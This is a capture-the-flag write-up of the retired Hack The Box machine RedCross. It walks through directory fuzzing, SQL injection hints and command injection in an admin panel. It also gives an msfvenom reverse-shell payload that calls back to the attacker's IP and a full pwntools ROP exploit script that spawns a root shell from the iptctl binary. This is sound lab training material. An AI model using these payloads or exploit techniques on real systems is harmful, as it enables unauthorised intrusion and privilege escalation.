On this post
- Information Gathering
- Low-Privilege Shell
- Privilege Escalation
RedCross is a retired vulnerable VM from Hack The Box.
Let’s start with a
masscan probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.113 --rate=1000 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-10 02:08:52 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.113 Discovered open port 443/tcp on 10.10.10.113 Discovered open port 22/tcp on 10.10.10.113
443/tcp open. This is how the site looks like in a browser.
Interesting. It seems to redirect to
https://intra.redcross.htb/. Let’s map
/etc/hosts and then try again.
Awesome. This must be the first attack surface. As I was casually glancing over the HTML source, I noticed the presence of a directory
This seems to suggest that I should fuzz for directories.
wfuzz with a big directory wordlist from DirBuster.
/documentation directory is definitely interesting. Let’s go deeper. I’ll be introducing another wordlist containing file extension of common documents.
# wfuzz -w dirbuster.txt -w extensions.txt --hc 404 -t 50 https://intra.redcross.htb/documentation/FUZZFUZ2Z ******************************************************** * Wfuzz 2.3.1 - The Web Fuzzer * ******************************************************** Target: https://intra.redcross.htb/documentation/FUZZFUZ2Z Total requests: 489774 ================================================================== ID Response Lines Word Chars Payload ================================================================== 251887: C=403 11 L 32 W 308 Ch " - " 261712: C=200 259 L 1220 W 24694 Ch "account-signup - .pdf" 331664: C=404 9 L 32 W 307 Ch "100000 - .doc"^C Finishing pending requests...
I got what I wanted so there’s really no need to complete the fuzz. Here’s how it looks like.
It gives the details on how to request for credentials on the contact page. Let’s try it out.
Damn. I could have guessed it! The guest credentials work alright.
It’s interesting to note a database error when I tried to filter with a single quote.
Let’s try again with a percent sign which is wildcard in MySQL.
What do we have here? Internal messages and usernames! The messages appear to be discussing about an Admin Web Panel.
Sweet. Another attack surface.
Notice a different set of cookies for the
admin vhost? Maybe a session replay attack will work here? Let’s reuse the session already established in
intra and apply it to
chroot‘d Jail in SSH
There’s a functionality in the admin panel to add users to a
chroot‘d jail in SSH.
Let’s go ahead and add ourselves to the list.
I can log in alright, to a jail.
Well, all is not lost. Penelope left a gift.
For brevity’s sake, I’ll not display the source code. Suffice to say, the source code will help us in achieving privilege escalation later on.
Moving on to the Admin Panel and despite what Network Access sounds like, it has nothing to do with access control. It actually contains an input validation vulnerability that we can exploit for remote command execution.
If I have to guess, I would say that the Network Access makes use of the
iptctl binary to control
iptables. I’m also betting
And guess what? We have the source code to
iptctl for comparison, courtesy of Penelope.
The PHP code could look something like this whenever it receives a request to deny some IP address.
<?php system("/opt/iptctl/ipctl restrict" . $ip); ?>
What if the web application doesn’t do a good job in input validation?
It’s apparent from above that it doesn’t. Time to test out remote command execution!
I’m generating a reverse shell with
msfvenom and hosting it with Python’s SimpleHTTPServer module. I’m going to assume the server is running 64-bit Linux.
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.15.241 LPORT=1234 -f elf -o rev [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder or badchars specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: rev
Host the reverse shell like so.
# python -m SimpleHTTPServer 80
Run a remote command like this.
The remote command execution works!
Time for shell.
Meanwhile at my
nc listener, a reverse shell arrives…
Let’s upgrade our shell to a full TTY.
During enumeration of
www-data’s account, I realized that the web application makes use of two database technologies in its PHP code: MySQL and PostgreSQL.
The intra-messaging app uses MySQL to store the messages and user authentication, while the admin control panel uses PostgresSQL for SSH user management and to keep track of the IP access grants.
Snippet of actions.php
You can clearly see the credentials to access the database.
The best part is—you can modify the
passwd_table table. Here’s how it looks like.
dick user I created earlier is still around. Let’s change the columns to our advantage.
Notice I change the
sudo and the home directory to
root. Let’s log in to
dick’s account again and make ourselves
root.txt with a
root shell is so damn easy.
For completeness’ sake, here’s
penelope is running Haraka 2.8.8 on
1025/tcp. We can make use of EDB-ID 41162 to gain a low-privilege shell as
penelope to read
Furthermore, the intra-messaging app is susceptible to SQLi attacks. Two parameters in particular serve as the injection point:
LIMIT cookie and
o field in
Finally, let’s take a shot at exploiting the
iptctl. Before we begin, note that the binary is a 64-bit ELF, ASLR is enabled, and you can’t execute CPU instructions on the stack.
I first noted a buffer overrun (BOF) vulnerability in the
interactive function from the source code. There are two
fgets one can use to exploit the vulnerability. One
fgets reads from
stdin to the
&inputAction memory address, the other to
&inputAddress memory address, which is closer to the saved return pointer. The idea is to use the second
fgets to overwrite the saved return pointer with our own code. However, because
fgets reads at most (BUFFSIZE - 1) bytes, the exploit has to be less than 360 bytes.
Let’s take a look at the source code just before we enter the
Now, let’s take a good look at the
Good thing the binary is a non position-independent executable (PIE), and as such, function address in the procedure linkage table (PLT) doesn’t change. Another blessing was the binary contained plenty of ROP gadgets for use. I was able to write
[email protected] to an address within
bss, which also doesn’t change. Lastly, I used
[email protected] and
[email protected] to spawn a
There are plenty of tools out there that help to generate a list of ROP gadgets. I used ROPgadget.
# ROPgadgets --binary iptctl ... 0x00000000004006c2 : add rsp, 8 ; ret 0x0000000000400de3 : pop rdi ; ret 0x0000000000400de1 : pop rsi ; pop r15 ; ret 0x00000000004006c6 : ret
I used these ROP gadgets to chain together an exploit.
''' # ROPgadget --binary iptctl --memstr "sh" Memory bytes information ======================================================= 0x000000000040024f : 's' 0x000000000040046f : 'h' ''' from pwn import * shell = [ 0x40024f, 0x40046f ] # 's' and 'h' # front matter newline = "\n" action = "show" offset = "A" * 8 address = "255.255.255.255\x00" writeme = 0x6020a0 # avoid start of bss payload = '' # bss is at 0x602090 # [email protected] execvp = 0x400760 setuid = 0x400780 strcpy = 0x4006f0 # gadgets pop_rdi_ret = 0x400de3 pop_rsi_pop_ret = 0x400de1 ret = 0x4006c6 skip = 0x4006c2 # exploit format payload += action payload += newline payload += address payload += offset # write "sh" to 0x6020a0 - 112 bytes for i in range(len(shell)): payload += p64(pop_rsi_pop_ret) payload += p64(shell[i]) payload += p64(skip) payload += p64(pop_rdi_ret) payload += p64(writeme+i) payload += p64(strcpy) payload += p64(ret) # setuid(0) - 32 bytes payload += p64(pop_rdi_ret) payload += p64(0) payload += p64(setuid) payload += p64(ret) # execv("sh", 0) - 56 bytes payload += p64(pop_rsi_pop_ret) payload += p64(0) payload += p64(skip) payload += p64(pop_rdi_ret) payload += p64(writeme) payload += p64(execvp) payload += p64(ret) payload += newline # write payload to file f = open('payload', 'wb') f.write(payload) f.close
Use the exploit code to generate our payload and then upload it to the box. Run the following command to escalate privilege to